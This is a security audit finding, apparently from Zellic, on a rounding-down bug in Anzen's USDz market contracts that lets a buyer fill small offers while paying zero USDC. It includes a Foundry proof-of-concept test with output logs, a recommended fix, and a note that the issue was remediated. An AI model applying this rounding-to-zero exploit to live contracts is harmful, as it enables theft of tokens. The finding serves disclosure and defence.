Assessment reports>Anzen and protocol-v2>High findings>Rounding issue in USDz markets
Category: Business Logic

Rounding issue in USDz markets

High Severity
Low Impact
Low Likelihood

Description

In MainnetUSDzMarket and LockedUsdzMarket, the function fillOffer invokes calculateRequiredUSDC to calculate requiredUSDC by amount.

function fillOffer(uint256 offerId, uint256 usdzAmount) external nonReentrant {
    Offer storage offer = offers[offerId];
    require(usdzAmount <= offer.amount, "Requested amount too large");
    require(usdzAmount > 0, "Amount must be greater than 0");

    uint256 requiredUSDC = calculateRequiredUSDC(usdzAmount, offer.askPrice);
    // ...
    // ...
}
function calculateRequiredUSDC(uint256 usdzAmount, uint256 askPrice) public pure returns (uint256) {
    require(askPrice <= 1e6, "Ask price must be <= 1");
    uint256 usdzAmountInUSDCDecimals = usdzAmount / 1e12;
    return (usdzAmountInUSDCDecimals * askPrice) / 1e6;
}

However, if usdzAmount is small, requiredUSDC could be zero by rounding down.

Impact

A malicious user could get USDz tokens without paying USDC tokens. The following proof-of-concept script demonstrates that the attacker could obtain a small amount of USDz tokens without paying USDC tokens.

function testAuditRoundingIssue() public {
    uint256 offerAmount = 200e18;
    uint256 askPrice = 0.99e6;

    vm.prank(user1);
    market.createOffer(1, offerAmount, askPrice);

    uint256 fillAmount = 2e12-1;
    uint256 requiredUSDC = market.calculateRequiredUSDC(fillAmount, askPrice);
    
    uint256 balanceBefore = lockedUsdz.balanceOf(user2, 1);
    console2.log("Attacker's USDZ balance before fillOffer:",balanceBefore);

    vm.startPrank(user2); // attacker
    market.fillOffer(0, fillAmount);
    vm.stopPrank();

    uint256 balanceAfter = lockedUsdz.balanceOf(user2, 1);
    console2.log("requiredUSDC: ",requiredUSDC);
    console2.log("fillAmount for USDz: ",fillAmount);
    console2.log("Attacker's USDZ balance after fillOffer: ",balanceAfter);
}

The following text is the result of the proof-of-concept script:

[PASS] testAuditRoundingIssue() (gas: 305129)
Logs:
  Attacker's USDZ balance before fillOffer: 2000000000000000000000
  requiredUSDC:  0
  fillAmount for USDz:  1999999999999
  Attacker's USDZ balance after fillOffer:  2000000001999999999999

Recommendations

Check if the result of calculateRequiredUSDC is greater than zero.

Remediation

This issue has been acknowledged by Anzen Labs Inc., and a fix was implemented in commit 929c5a4c.

Zellic © 2025Back to top ↑